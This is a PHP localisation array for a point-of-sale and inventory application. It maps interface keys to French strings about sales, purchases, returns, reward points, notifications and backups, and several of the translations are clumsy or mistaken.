'updated_success' => 'Mis à jour avec succés', 'added_success' => 'Ajouté avec succès', 'deleted_success' => 'Supprimé avec succès', 'enable_disable_modules' => 'Activer / Désactiver les modules', 'opening_stock_help_text' => "<br><br>Pour les produits variables, séparez les quantités de stock avec '|' <br>(Ex: 100|150|200)", 'applicable_tax_help' => "<br><br/>Si le prix d'achat (hors taxes) n'est pas le même que <br/>Prix d'achat (taxes comprises) <br/>alors vous devez fournir le nom du taux d'imposition.", 'sale_delete_success' => 'Vente supprimée avec succès', 'click_to_edit' => 'Cliquez pour modifier', 'click_to_delete' => 'Cliquez pour supprimer', 'quotation_heading' => 'En-tête de devis', 'quotation' => 'Citation', 'quotation_no_prefix' => 'Citation no. étiquette', 'tooltip_quotation_heading' => "La rubrique devis ou devis est utilisée lors de l'offre aux clients.", 'quotation_added' => 'La citation a été ajoutée avec succès', 'quotation_updated' => 'Citation mise à jour avec succès', 'product_sold_details_register' => 'Détails des produits vendus', 'grand_total' => 'somme finale', 'change_return' => 'Change Return', 'date_format' => 'Modifier le retour', 'time_format' => "Format de l'heure", '12_hour' => '12 heures', '24_hour' => '24 heures', 'list_quotations' => 'Liste des citations', 'list_drafts' => 'Liste des brouillons', 'you_cannot_delete_this_contact' => 'Impossible de supprimer le contact - Des transactions existent déjà pour le contact.', 'enable_row' => 'Activer la ligne', 'enable_position' => 'Activer la position', 'rack' => 'Le Rayon', 'row' => 'La Ligne', 'position' => 'La Position', 'weight' => 'Poids', 'rack_help_text' => "Détails du Rayon séparés par '|' pour différents lieux d'affaires en série.<br/> (Ex: R1 | R5 | R12)", 'row_help_text' => "Détails de la ligne séparés par '|' pour différents lieux d'affaires en série.<br/> (Ex: LIGNE1 | LIGNE2 | LIGNE3)", 'position_help_text' => "Détails du positionnement séparés par '|' pour différents lieux d'affaires en série.<br/> (Ex: POS1 | POS2 | POS3)", 'import_opening_stock' => "Importer le stock d'ouverture", 'tooltip_import_opening_stock' => "Cette fonction est utilisée pour importer le stock d'ouverture des produits déjà ajoutés.Si les produits ne sont pas ajoutés dans le système, il est conseillé d'utiliser des produits d'importation pour ajouter les détails du produit avec le stock d'ouverture.", 'design' => 'Conception', 'express_checkout_cash' => 'En espèces', 'express_checkout_card' => 'Carte', 'checkout_multi_pay' => 'Paiement multiple', 'tooltip_checkout_multi_pay' => 'Commander en utilisant plusieurs méthodes de paiement', 'tooltip_express_checkout_card' => 'Paiement express par carte', 'card_transaction_details' => 'Détails de la transaction par carte', 'client_tax_label' => 'Étiquette du numéro de taxe du client', 'cat_code_label' => 'Étiquette de code catégorie ou HSN', 'list_sell_return' => 'Liste Vendre Retour', 'sell_return' => 'Vendre le retour', 'layout_credit_note' => 'Note de crédit / Vendre les détails de retour', 'cn_heading' => 'Titre', 'cn_no_label' => 'Numéro de réference', 'cn_amount_label' => 'Montant total', 'custom_field' => 'Champ personnalisé :number', 'website' => 'Site Internet', 'total_credit_amt' => 'Montant total du crédit', 'unit_sell_price' => 'Prix de vente unitaire', 'prefixes' => 'Préfixes', 'purchase_order' => 'Bon de commande', 'stock_transfer' => 'Transfert de stock', 'purchase_payment' => "Paiement d'achat", 'sell_payment' => 'Vendre un paiement', 'location_id' => 'ID de lieu', 'add_edit_opening_stock' => "Ajouter ou modifier le stock d'ouverture", 'expiry_date_will_be_changed_in_pl' => "La date d'expiration de la ligne d'achat sera modifiée", 'remove_from_stock' => 'Retirer du stock', 'stock_removed_successfully' => 'Stock supprimé avec succès', 'product_image' => 'Image du produit', 'aspect_ratio_should_be_1_1' => "Le rapport d'aspect devrait être 1: 1", 'previous_image_will_be_replaced' => "L'image précédemment téléchargée sera remplacée", 'all_category' => 'toutes catégories', 'all_brands' => 'Toutes les marques', 'backup' => 'Sauvegarde', 'download_complete_backup' => 'Télécharger la sauvegarde complète', 'backup_doesnt_exist' => "La sauvegarde n'existe pas", 'lot_report' => 'Rapport de lot', 'purchase_payment_report' => "Rapport de paiement d'achat", 'paid_on' => 'Payé sur', 'purchase' => 'achat', 'cheque_no' => 'Vérifiez non', 'card_transaction_no' => 'Numéro de transaction de la carte', 'bank_account_no' => 'Compte en banque numéro.', 'sell_payment_report' => 'Vendre un rapport de paiement', 'restaurant' => 'Restaurant', 'user_type' => "Type d'utilisateur", 'product_custom_field1' => 'Champ personnalisé1', 'product_custom_field2' => 'Champ personnalisé2', 'product_custom_field3' => 'Champ personnalisé3', 'product_custom_field4' => 'Champ personnalisé4', 'image' => 'Image', 'image_help_text' => "Nom de l'image avec l'extension.<br/> (Le nom de l'image doit être téléchargé sur le serveur: chemin )", 'tooltip_kitchen' => "C'est l'écran de la cuisine. Ici, les détails de la commande peuvent être visualisés et les commandes peuvent être marquées comme cuites.", 'tooltip_serviceorder' => "Ceci est l'écran du personnel de service. Le personnel de service peut utiliser cet écran pour voir toutes les commandes et marquer l'ordre tel qu'il est servi.", 'sales_person_label' => 'Étiquette de personne', 'show_sales_person' => 'Afficher le vendeur', 'decimal_value_not_allowed' => 'Valeur décimale non autorisée', 'theme_color' => 'Couleur du thème', 'quantity_error_msg_in_lot' => 'OnSeulemently :qty :unité disponible dans le lot sélectionné', 'show_product_expiry' => "Afficher l'expiration du produit", 'show_lot_number' => 'Afficher le numéro de lot', 'expiry' => 'Expiration', 'lot' => 'Lot', 'lot_n_expiry' => 'Lot et expiration', 'pos_edit_product_price_help' => 'Modifier le produit Prix unitaire et taxe', 'name' => 'prénom', 'payment_type' => 'Type de paiement', 'manage_payment_account' => 'Gérer votre compte de paiement', 'all_payments' => 'Tous les paiements', 'payment_note' => 'Note de paiement', 'payment_account_deleted_success' => 'Compte de paiement supprimé avec succès', 'payment_account_updated_success' => 'Compte de paiement mis à jour avec succès', 'payment_gateway' => 'Passerelle de paiement en ligne', 'payment_account_success' => 'Le compte de paiement a bien été ajouté', 'payment_account' => 'Compte de paiement', 'tooltip_sell_product_column' => 'Cliquez sur <i>product name</i> pour éditer le prix, la réduction et la taxe. <br/>Cliquez sur <i>Icône de commentaire</i> pour entrer le numéro de série / IMEI ou une note supplémentaire.<br/><br/>Cliquez sur <i>Icône de modification</i>(si activé) pour les modificateurs', 'credit_limit' => 'Limite de crédit', 'credit_limit_help' => 'Restez vide pour aucune limite', 'cutomer_credit_limit_exeeded' => 'Limite de crédit client dépassée <br>:credit_limit', 'custom_payment_1' => 'Paiement personnalisé 1', 'custom_payment_2' => 'Paiement personnalisé 2', 'custom_payment_3' => 'Paiement personnalisé 3', 'transaction_no' => 'N ° de transaction', 'file' => 'Fichier', 'size' => 'Taille', 'date' => 'Rendez-vous amoureux', 'age' => 'Âge', 'create_new_backup' => 'Créer une nouvelle sauvegarde', 'all_sales' => 'Toutes les ventes', 'opening_balance' => "Solde d'ouverture", 'opening_balance_due' => "Solde d'ouverture dû", 'import_contacts' => "Contacts d'importation", 'contact_type_ins' => '<strong> Options disponibles: client, fournisseur et les deux </strong>', 'contact_id_ins' => "Laisser en blanc pour générer automatiquement l'ID du contact", 'required_if_supplier' => 'Obligatoire si le type de contact est fournisseur ou les deux', 'pay_term_period_ins' => 'Options disponibles: jours et mois', 'your_username_will_be' => "Votre nom d'utilisateur sera", 'currency_exchange_rate' => 'Taux de change', 'select_all' => 'Tout sélectionner', 'deselect_all' => 'Tout déselectionner', 'duplicate_product' => 'Produit en double', 'delete_selected' => 'Supprimer sélectionnée', 'no_row_selected' => 'Aucune ligne sélectionnée', 'duplicate_sell' => 'Vente en double', 'duplicate_sell_created_successfully' => 'Duplicate Sell créé avec succès', 'modules' => 'Modules', 'theme' => 'Thème', 'account' => 'Compte', 'expense_payment' => 'Paiement des dépenses', 'expense' => 'Frais', 'disabled_in_demo' => 'Fonction désactivée en démo !!', 'selling_price_group' => 'Groupe de prix de vente', 'all_selling_price_group' => 'Tout groupe de prix de vente', 'add_selling_price_group' => 'Ajouter un groupe de prix de vente', 'edit_selling_price_group' => 'Modifier le groupe de prix de vente', 'access_selling_price_groups' => 'Accéder aux groupes de prix de vente', 'save_n_add_selling_price_group_prices' => 'Enregistrer et ajouter des prix de groupe de vente', 'add_selling_price_group_prices' => 'Ajouter ou modifier des prix de groupe', 'default_selling_price_inc_tax' => 'Prix de vente par défaut (taxe inc.)', 'variation' => 'Variation', 'price_group' => 'Groupe de prix', 'group_price' => 'Prix de groupe', 'default_selling_price' => 'Prix de vente par défaut', 'price_group_help_text' => 'Groupe de prix de vente dans lequel vous souhaitez vendre', 'group_prices' => 'Prix de groupe', 'view_group_prices' => 'Voir les prix de groupe', 'save_n_add_another' => 'Enregistrer et ajouter un autre', 'update_n_add_another' => 'Mettre à jour et ajouter un autre', 'subtotal_editable' => 'Sous-total éditable', 'subtotal_editable_help_text' => "Cochez cette case pour rendre le champ de sous-total modifiable pour chaque produit dans l'écran du PDV", 'notification_templates' => 'Modèles de notification', 'new_sale' => 'Nouvelle vente', 'payment_reminder' => 'Remise de paiement', 'payment_received' => 'Paiement reçu', 'new_booking' => 'Nouvelle réservation', 'new_order' => 'Nouvelle commande', 'payment_paid' => 'Paiement payé', 'items_received' => 'Articles reçus', 'items_pending' => 'Articles en attente', 'customer_notifications' => 'Notifications client', 'supplier_notifications' => 'Notifications du fournisseur', 'email_subject' => 'Sujet du courriel', 'email_body' => "Corps de l'e-mail", 'sms_body' => 'Corps SMS', 'available_tags' => 'Tags disponibles', 'send_notification' => 'Envoyer une notification', 'new_sale_notification' => 'Notification de nouvelle vente', 'send_email_only' => 'Envoyer un e-mail uniquement', 'send_sms_only' => 'Envoyer un SMS uniquement', 'send_both_email_n_sms' => 'Envoyer les deux email et SMS', 'to' => 'À', 'mobile_number' => 'Numéro de portable', 'send' => 'Envoyer', 'notification_sent_successfully' => 'Notification envoyée avec succès', 'payment_received_notification' => 'Envoyer la notification de paiement reçu', 'send_payment_reminder' => 'Envoyer un virement de paiement', 'new_order_notification' => 'Notification de nouvelle commande', 'item_received_notification' => 'Notification des articles reçus', 'item_pending_notification' => 'Eléments en attente de notification', 'payment_paid_notification' => 'Notification de paiement payé', 'mail_host' => 'Hôte', 'mail_port' => 'Port', 'mail_username' => "Nom d'utilisateur", 'mail_password' => 'Mot de passe', 'mail_encryption' => 'Cryptage', 'mail_from_address' => "De l'adresse", 'mail_from_name' => 'De nom', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Paramètres de messagerie', 'sms_settings' => 'Paramètres SMS', 'send_to_param_name' => 'Envoyer au nom du paramètre', 'msg_param_name' => 'Nom du paramètre du message', 'sms_settings_param_key' => 'Paramètre: touche numérique', 'sms_settings_param_val' => 'Paramètre: valeur numérique', 'sending' => 'Envoi', 'request_method' => 'Méthode de requête', 'purchase_return' => "Retour d'achat", 'return_quantity' => 'Quantité de retour', 'return_subtotal' => 'Retour sous-total', 'quantity_left' => 'Quantité restante', 'return_total' => 'Total de retour', 'total_return_tax' => 'Total Return Tax', 'purchase_return_added_success' => "Retour de l'achat ajouté avec succès", 'list_purchase_return' => "Retour de liste d'achat", 'all_purchase_returns' => "Tous les retours d'achat", 'parent_purchase' => 'Achat du parent', 'purchase_return_details' => "Détails du retour d'achat", 'return_date' => 'Date de retour', 'parent_sale' => 'Parent Sale', 'sell_quantity' => 'Quantité vendue', 'total_return_discount' => 'Remise sur rendement total', 'sell_return_details' => 'Détails de retour de vente', 'sell_details' => 'Détails de la vente', 'return_discount' => 'Remise Retour', 'total_unit_transfered' => 'Unité totale transférée', 'total_unit_adjusted' => 'Unité totale ajustée', 'return_exist' => 'Le retour existe pour la transaction, éditez le retour à la place.', 'synced_from_woocommerce' => 'Synchronisé depuis Woocommerce', 'available_stock_expired' => 'OU le stock disponible a expiré.', 'sell_payments' => 'Permission d’ajouter / modifier / supprimer des paiements dans la liste des ventes / de la liste des points de vente.', 'purchase_payments' => "Permission d'ajouter / modifier / supprimer des paiements dans la liste des achats.", 'sell.payments' => 'Ajouter / Modifier / Supprimer des paiements', 'purchase.payments' => 'Ajouter / Modifier / Supprimer des paiements', 'view_payment' => 'Voir le paiement', 'card_number' => 'Numéro de carte', 'transaction_number' => 'Numéro de transaction', 'card_holder_name' => 'Nom du titulaire', 'card_transaction_number' => 'Numéro de transaction par carte', 'cheque_number' => 'Numéro du chèque', 'commsn_percent_help' => "Utilisé uniquement si le paramètre Type d'agent de commission de vente est: Utilisateur connecté ou Sélectionner dans la liste des utilisateurs", 'max_amount_to_be_paid_is' => 'Le montant maximum à payer est: montant', 'adjusted_for' => 'Ajusté pour', 'some_qty_returned' => 'Certaines quantités sont retournées à partir de cet achat', 'total_purchase_return' => "Retour d'achat total", 'total_purchase_return_paid' => 'Total du retour d’achat payé', 'total_purchase_return_inc_tax' => 'Retour sur achat total TTC', 'purchase_sell_report_formula' => 'Overall (Vente - Retour de vente - Achat - Retour d’achat)', 'purchase_return_due' => "Retour de l'achat dû", 'total_purchase_return_due' => "Total du retour d'achat dû", 'receive_purchase_return_due' => "Recevoir le retour de l'achat dû", 'some_qty_returned_from_sell' => 'Certaines quantités sont retournées de cette vente', 'sell_due' => 'Vente due', 'sell_return_due' => 'Vente retour dû', 'total_sell_return_due' => 'Total des retours de vente dus', 'pay_sell_return_due' => 'Pay Sell Return Due', 'total_sell_return' => 'Total Sell Return', 'total_sell_return_paid' => 'Total des retours sur ventes payés', 'total_sell_return_inc_tax' => 'Rendement total de vente TTC', 'tooltip_columnize_taxes_heading' => 'Entrez le nom de taxe pour les titres, le titre doit être présent dans le nom de taxe. Par exemple, les titres peuvent être: CGST, SGST, IGST & CESS. Pour les noms de taxe CGST@8% ou CGST@10%; SGST@10% ou SGST@8% etc', 'sales_payment_dues' => 'Paiement de vente dû', 'purchase_payment_dues' => "Paiement de l'achat dû", 'tooltip_sales_payment_dues' => "Paiement en attente pour les ventes. <br/> <small class = 'text-muted'> Sur la base du délai de paiement de la facture. <br/> Affichage des paiements à recevoir dans un délai de 7 jours ou moins. </small>", 'edit_product_price_from_sale_screen' => "Modifier le prix du produit à partir de l'écran de vente", 'edit_product_discount_from_sale_screen' => "Editer la remise du produit à partir de l'écran Vente", 'autosend_email' => 'Envoi automatique par courrier électronique', 'autosend_sms' => 'Envoi automatique de SMS', 'enable_selected_contacts' => 'Restreindre les contacts sélectionnés', 'tooltip_enable_selected_contacts' => "Restreindre l'accès à certains contacts dans la boîte de recherche de clients / fournisseurs de vente / achat", 'selected_contacts' => 'Sélectionner des contacts', 'view_role' => 'Voir le rôle', 'delete_role' => 'Supprimer le rôle', 'mail_driver' => 'Pilote de courrier', 'disable_suspend_sale' => 'Désactiver la vente suspendue', 'suspend' => 'Suspendre', 'suspend_note' => 'Suspendre la note', 'suspend_sale' => 'Suspend Sale', 'view_suspended_sales' => 'Afficher les ventes suspendues', 'suspended_sales' => 'Ventes suspendues', 'tooltip_suspend' => 'Suspendre les ventes (pause)', 'business_telephone' => 'Numéro de contact professionnel', 'accept_terms_and_conditions' => 'Accepter les conditions générales', 'terms_conditions' => 'Termes et conditions', 'product_description' => 'Description du produit', 'click_here' => 'Cliquez ici', 'for_more_info' => "pour plus d'informations", 'username_help' => "Laisser en blanc pour générer automatiquement le nom d'utilisateur", 'status_for_user' => "C'est actif ?", 'tooltip_enable_user_active' => 'Cocher / décocher pour rendre un utilisateur actif / inactif.', 'user_inactive' => 'Désolé, le compte est inactif', 'calculator' => 'Calculatrice', 'fields_for_customer_details' => 'Champs pour les détails du client', 'show_previous_bal_due' => 'Afficher le solde total dû (Toutes les ventes)', 'previous_bal_due_help' => "Cochez cette case pour afficher le montant des frais de solde pour toutes les ventes du client, s'il existe", 'all_sales' => 'Toutes les ventes', 'current_sale' => 'Vente en cours', 'view_invoice_url' => "Afficher l'URL de la facture", 'copy' => 'Copie', 'extra_tags' => 'Supplémentaires Tags', 'date_time_format' => 'Format date / heure', 'date_time_format_help' => "Entrez le format de date et heure dans <a target='_blank' href='http://php.net/manual/en/function.date.php'>Format de date et heure PHP</a>. Si le format d’heure de la date d’affaires vierge sera appliqué", 'all' => 'Tout', 'detailed' => 'Détaillé', 'grouped' => 'Groupé (Par Date)', 'disable_recurring_invoice' => 'Désactiver la facture récurrente', 'is_recurring' => 'Est récurrent', 'recurring_invoice_help' => 'Si vous vous êtes abonné, cette facture sera automatiquement générée à intervalles réguliers. <br> Vous pouvez désactiver cette fonctionnalité dans <code> Paramètres > Paramètres commerciaux > Modules </code>', 'recurring_invoice' => 'Facture récurrente', 'years' => 'Années', 'no_of_repetitions' => 'Nombre de répétitions', 'recur_repetition_help' => 'Si une facture vierge sera générée un nombre infini de fois', 'recurring_invoice_message' => "Nouvelle facture générée pour le numéro d'abonnement: <i>:subscription_no</i>, Numéro de facture: <i>:invoice_no</i>", 'notifcation_count_msg' => 'Vous avez :count les notifications', 'no_notifications_found' => 'Aucune notification trouvée', 'edit_multi_unit_help_text' => "La modification de cette valeur modifiera les stocks d'achat et de vente en conséquence", 'sale_price_is_minimum_sale_price' => 'Le prix de vente est le prix de vente minimum', 'minimum_sale_price_help' => 'Si cette option est activée, sur les écrans de PDV ou de vente, le prix de vente par défaut correspond au prix de vente minimum du produit. Vous ne pouvez pas définir un prix inférieur au prix de vente par défaut.', 'minimum_selling_price_error_msg' => 'Prix minimum de vente est :price', 'lot_numbers_are_used_in_sale' => 'Ne peut être supprimé, certains lots de cet achat sont déjà vendus', 'created_at' => 'Créé à', 'download' => 'Télécharger', 'previous_file_will_be_replaced' => 'Le fichier précédemment téléchargé sera remplacé', 'access_accounts' => "Comptes d'accès", 'payment_accounts' => 'Comptes de paiement', 'total_shipping_charges' => "Total des frais d'expédition", 'recurring_invoice_error_message' => "Impossible de créer la facture pour Numéro d'abonnement: <i>:subscription_no</i>. Stock requis non disponible pour le produit <i>:product_name</i>", 'load_more' => 'Charger plus', 'cash_flow' => 'Flux de trésorerie', 'subscribe' => 'Souscrire', 'subscription_interval' => "Intervalle d'abonnement", 'enable_subscription' => "Activer l'abonnement", 'subscription_no' => "N ° d'abonnement", 'start_subscription' => "Commencer l'abonnement", 'stop_subscription' => "Arrêter l'abonnement", 'subscriptions' => 'Abonnements', 'generated_invoices' => 'Factures générées', 'last_generated' => 'Dernier généré', 'upcoming_invoice' => 'Facture à venir', 'total_sales_return' => 'Rendement total des ventes', 'subscription_invoice' => "Facture d'abonnement", 'subscribed_invoice' => 'Facture souscrite', 'view_document' => 'Afficher le document', 'invoice_url_help' => 'Lien pour voir la facture sans se connecter.', 'unit_cannot_be_deleted' => 'Les produits existent avec cette unité; ne peuvent pas être supprimés', 'expiry_date_in_business_date_format' => "Date d'expiration du stock au <b> format de date professionnel </b>", 'product_stock_details' => 'Détails du produit', 'search' => 'Chercher', 'total_sold' => 'Total vendu', 'total_stock_available' => 'Stock total disponible', 'total_stock_transfered_to_the_location' => "Stock total transféré à l'emplacement", 'total_stock_transfered_from_the_location' => "Stock total transféré de l'emplacement", 'total_stock_calculated' => 'Stock total calculé', 'adjust_stock_mismatch' => 'Ajuster les écarts de stock', 'opening_balance_payments' => "Solde d'ouverture", 'enable_service_staff_in_product_line' => 'Activer le personnel de service dans la gamme de produits', 'inline_service_staff_tooltip' => 'Si cette option est activée, différents personnels peuvent être affectés à différents produits pour une commande / vente', 'line_orders' => 'Commandes en ligne', 'total_tax' => 'Taxe total', 'total_discount' => 'Remise totale', 'net_price' => 'Prix net', 'select_same_for_all_rows' => 'Choisir la même valeur pour tous les produits', 'edited' => 'Édité', 'by' => 'Par', 'upload_documents' => 'Télécharger des documents', 'documents' => 'Documents', 'click_to_print' => 'Cliquez pour imprimer', 'deactivated_success' => 'Désactivé avec succès', 'products_could_not_be_deleted' => 'Certains produits ne peuvent pas être supprimés car des transactions y sont associées.', 'price' => 'Prix', 'auto_backup_instruction' => 'Pour activer la sauvegarde automatique et le nettoyage de la sauvegarde, vous devez configurer une tâche cron avec cette commande', 'gross_profit' => 'Bénéfice brut', 'single' => 'Unique', 'variable' => 'Variable', 'total_purchase_price' => "Prix d'achat total", 'total_sell_price' => 'Prix de vente total', 'packing_slip' => 'Bordereau', 'use_superadmin_email_settings' => 'Utiliser les configurations de messagerie du système', 'profit_by_products' => 'Profit par produits', 'profit_by_categories' => 'Bénéfice par catégories', 'profit_by_brands' => 'Profit par marques', 'profit_by_locations' => 'Profit by locations', 'profit_by_invoice' => 'Bénéfice sur facture', 'profit_by_date' => 'Bénéfice par date', 'uncategorized' => 'Non classé', 'add_purchase_return' => 'Ajouter retour achat', 'edit_purchase_return' => "Modifier le retour d'achat", 'purchase_return_updated_success' => "Retour de l'achat mis à jour avec succès", 'profit_by_customer' => 'Bénéfice par client', 'profit_by_day' => 'Bénéfice par jour', 'sunday' => 'Dimanche', 'monday' => 'Lundi', 'tuesday' => 'Mardi', 'wednesday' => 'Mercredi', 'thursday' => 'Jeudi', 'friday' => 'Vendredi', 'saturday' => 'Samedi', 'show_product_image' => "Afficher l'image du produit", 'view_user' => "Voir l'utilisateur", 'allow_selected_contacts' => 'Autoriser les contacts sélectionnés', 'allow_selected_contacts_tooltip' => "Autoriser uniquement l'accès aux contacts sélectionnés dans la boîte de recherche de vente / achat client / fournisseur", 'allowed_contacts' => 'Contacts autorisés', 'view_purchase_price' => "Afficher le prix d'achat", 'view_purchase_price_tooltip' => "Autorisation de voir le prix d'achat dans les détails du produit, le transfert de stock et l'ajustement de stock' 'created' => 'Créé", 'updated' => 'Mis à jour', 'deleted' => 'Supprimé', 'day' => 'Journée', 'is_service_staff_required' => 'Le personnel de service est-il nécessaire', 'items_report' => "Rapport d'articles", 'purchase_price' => "Prix d'achat", 'sell_date' => 'Date de vente', 'returned' => 'revenu', 'dob' => 'Date de naissance', 'married' => 'Marié', 'unmarried' => 'Célibataire', 'marital_status' => 'État civil', 'blood_group' => 'Groupe sanguin', 'divorced' => 'Divorcé', 'contact_no' => 'Numéro de contact', 'fb_link' => 'Lien Facebook', 'twitter_link' => 'Lien Twitter', 'social_media' => 'Médias sociaux :number', 'permanent_address' => 'Adresse permanente', 'current_address' => 'Adresse actuelle', 'guardian_name' => 'Nom du gardien', 'custom_field' => 'Champ personnalisé :number', 'bank_details' => 'Coordonnées bancaires', 'account_holder_name' => 'Nom du titulaire du compte', 'account_number' => 'Numéro de compte', 'bank_name' => 'Nom de banque', 'bank_code' => "Code d'identifiant bancaire", 'bank_code_help' => 'Un code unique pour identifier la banque dans votre pays, par exemple: code IFSC', 'branch' => 'Branche', 'tax_payer_id' => 'Contribuable ID', 'tax_payer_id_help' => "Numéro d'identification fiscale de l'employé, par exemple, la carte PAN en Inde", 'more_info' => "Plus d'informations", 'id_proof_name' => "Nom de preuve d'identification", 'id_proof_number' => "Numéro de preuve d'identification", 'view_own_sell_only' => 'Voir propre vendre seulement', 'reward_point_settings' => 'Paramètres de points de récompense', 'enable_rp' => 'Activer le point de récompense', 'rp_name' => "Nom d'affichage du point de récompense", 'amount_for_unit_rp' => 'Montant dépensé pour le point unitaire', 'min_order_total_for_rp' => 'Total de commandes minimum pour gagner une récompense', 'max_rp_per_order' => 'Maximum de points par commande', 'earning_points_setting' => 'Paramètres de gagner des points', 'redeem_points_setting' => "Paramètres de l'échange de points", 'redeem_amount_per_unit_rp' => 'Échanger montant par unité de point', 'min_order_total_for_redeem' => 'Total de commandes minimum pour échanger des points', 'min_redeem_point' => "Point d'échange minimum", 'max_redeem_point' => "Maximum de points d'échange par commande", 'rp_expiry_period' => "Période d'expiration des points de récompense", 'redeemed_amount' => 'Montant racheté', 'max_points_used' => 'Maximum :points points peuvent être utilisés', 'reward_points' => 'Points de récompense', 'max_reward_point_available' => 'Maximum :name disponible', 'min_reward_points_used' => 'Minimum le :name peut être utilisé', 'redeemed' => 'Racheté', 'available' => 'Disponible', 'earned' => 'Gagné', 'total_reward_amount' => 'Récompense totale du client', 'ledger' => 'Grand livre', 'type' => 'Type', 'show_payments' => 'Afficher paiements', 'variation_images' => 'Images de variation', 'file_deleted_successfully' => 'Fichier supprimé avec succès', 'combo' => 'Combo', 'not_for_selling' => 'Pas à vendre', 'tooltip_not_for_selling' => "Si cette case est cochée, le produit ne sera pas affiché dans l'écran des ventes à des fins de vente.", 'show_reward_point' => 'Afficher le point de récompense', 'enable_booking' => 'Activer les réservations', 'bulk_edit' => 'Bulk Edit', 'bulk_edit_products' => 'Bulk Edit Products', 'search_product_to_edit' => 'Rechercher un produit à éditer', 'related_sub_units' => 'Sous-unités connexes', 'sub_units_tooltip' => "Sur la base de l'unité sélectionnée, il affichera les sous-unités correspondantes. Sélectionnez la sous-unité applicable. Laissez ce champ vide si toutes les sous-unités s'appliquent au produit.", 'enable_sub_units' => 'Activer les sous-unités', 'added_on' => 'Ajouté sur', 'quantity_mismatch_exception' => 'ERREUR: NON AUTORISE: décalage entre la quantité vendue et la quantité disponible. Produit: :product', 'roles_and_permissions' => 'Rôles et autorisations', 'admin_role_location_permission_help' => 'Admin peut accéder à tous les emplacements', 'edit_product_price_from_pos_screen' => "Modifier le prix du produit à partir de l'écran du point de vente", 'edit_product_discount_from_pos_screen' => "Editer le rabais produit à partir de l'écran du point de vente", 'download_template_file' => 'Télécharger le fichier modèle', 'types_of_service' => 'Types de services', 'add_type_of_service' => 'Ajouter un type de service', 'packing_charge_type' => "Type de frais d'emballage", 'packing_charge' => "Frais d'emballage", 'enable_custom_fields' => 'Activer les champs personnalisés', 'edit_type_of_service' => 'Modifier le type de service', 'types_of_service_help' => 'Le type de service désigne les services tels que le dîner, le colis, la livraison à domicile, la livraison par un tiers, etc.', 'select_types_of_service' => 'Sélectionnez les types de services', 'service_custom_field_1' => 'Champ personnalisé 1', 'service_custom_field_2' => 'Champ personnalisé 2', 'service_custom_field_3' => 'Champ personnalisé 3', 'service_custom_field_4' => 'Champ personnalisé 4', 'default_selling_price_group' => 'Groupe de prix de vente par défaut', 'location_price_group_help' => 'Ce groupe de prix sera utilisé comme groupe de prix par défaut à cet endroit.', 'default_accounts' => 'Compte par défaut', 'product_location_help' => 'Emplacements où le produit sera disponible.', 'available_in_locations' => 'Disponible dans certains pays', 'enable' => 'Activer', 'payment_options' => 'Options de paiement', 'pay_reference_no' => 'N ° de référence de paie', 'search_settings' => 'Paramètres de recherche', 'custom_labels' => 'Étiquettes personnalisées', 'labels_for_custom_payments' => 'Étiquettes pour paiements personnalisés', 'packed' => 'Emballé', 'shipped' => 'Expédié', 'delivered' => 'Livré', 'shipping_address' => 'Adresse de livraison', 'shipping_status' => "Statut d'envoi", 'delivered_to' => 'Livré à', 'edit_shipping' => "Modifier l'expédition", 'shipments' => 'Envois', 'access_shipping' => 'Access Shipping', 'uploaded_by' => 'Telechargé par', 'account_types' => 'Types de compte', 'add_account_type' => 'Ajouter un type de compte', 'parent_account_type' => 'Type de compte parent', 'edit_account_type' => 'Modifier le type de compte', 'account_type' => 'Type de compte', 'account_sub_type' => 'Sous type de compte', 'enable_updating_product_price_tooltip' => "Si activé, le prix d'achat et le prix de vente du produit seront mis à jour après l'ajout ou la mise à jour d'un achat", 'default_datatable_page_entries' => 'Entrées de page datatable par défaut', 'product_not_found_exception' => 'Produit avec SKU :sku introuvable sur la ligne :row', 'price_group_not_found_exception' => 'Groupe de prix avec nom :pg introuvable sur la ligne :row', 'price_group_non_numeric_exception' => 'Prix non numérique trouvé sur la ligne :row', 'total_stock_price' => 'Valeur en stock actuelle', 'test_email_configuration' => 'Envoyer un e-mail de test', 'email_tested_successfully' => 'Configurations de messagerie vérifiées avec succès', 'test_number' => 'Numéro de test', 'test_sms_configuration' => 'Envoyer un SMS de test', 'test_number_is_required' => 'Le numéro de test est requis', 'import_contact_type_ins' => 'Options disponibles: <strong> <br> 1 = Client, <br> 2 = Fournisseur <br> 3 = Les deux </strong>', 'enable_pos_transaction_date' => "Activer la date de transaction sur l'écran du point de vente", 'amount_for_unit_rp_tooltip' => '<strong> Signification du montant dépensé par le client pour obtenir un point de récompense. </strong> <br> <br> <strong> Exemple: </strong> Si vous définissez cette valeur sur 10, le client dépensera 10 dollars par client. obtiendra un point de récompense. Si le client achète 1 000 dollars, il obtiendra 100 points de récompense. ', 'max_rp_per_order_tooltip' => 'Le maximum de points de fidélité que le client peut gagner sur une seule facture. Laissez-le vide si vous ne voulez pas de telles restrictions.', 'min_order_total_for_rp_tooltip' => "<strong> Montant minimal que le client devrait dépenser pour obtenir des points de fidélité. </strong> <br> <br> <strong> Exemple: </strong> Si vous définissez cette valeur sur 100, le client obtiendra des points de fidélité uniquement s'il y a lieu. Le total de la facture est supérieur ou égal à 100. Si le total de la facture est égal à 99, aucun point de fidélité ne sera attribué. <br> <br> Vous pouvez le définir au minimum à 1. ", 'redeem_amount_per_unit_rp_tooltip' => '<strong> Il indique le montant de rachat par point. </strong> <br> <br> <strong> Par exemple: </strong> Si 1 point correspond à 1 dollar, entrez la valeur 1. Si 2 points correspond à 1 dollar, entrez la valeur 0.50 ', 'min_order_total_for_redeem_tooltip' => 'Total des commandes minimum pour lequel le client peut échanger des points. Laissez-le vide si vous n’avez pas besoin de cette restriction ou si vous devez donner quelque chose gratuitement.', 'min_redeem_point_tooltip' => 'Le nombre minimum de points d’utilisation pouvant être utilisés par facture. Laissez ce champ vide si vous n’avez pas besoin de cette restriction.', 'max_redeem_point_tooltip' => 'Nombre maximal de points pouvant être utilisés dans un ordre. Laissez ce champ vide si vous n’avez pas besoin de cette restriction.', 'rp_expiry_period_tooltip' => "<strong> Période d'expiration des points gagnés par le client. </strong> <br> <br> Vous pouvez le définir en mois ou en année. Les points expirés seront automatiquement déduits du compte du client après cette période.", 'configure_product_search' => 'Configurer la recherche de produits', 'search_products_by' => 'Rechercher des produits par', 'credit_sales' => 'Ventes à crédit', 'total_payment' => 'Paiement total', 'deactivate_location' => 'Désactiver la position', 'activate_location' => 'Activer la position', 'business_location_activated_successfully' => "Localisation de l'entreprise activée avec 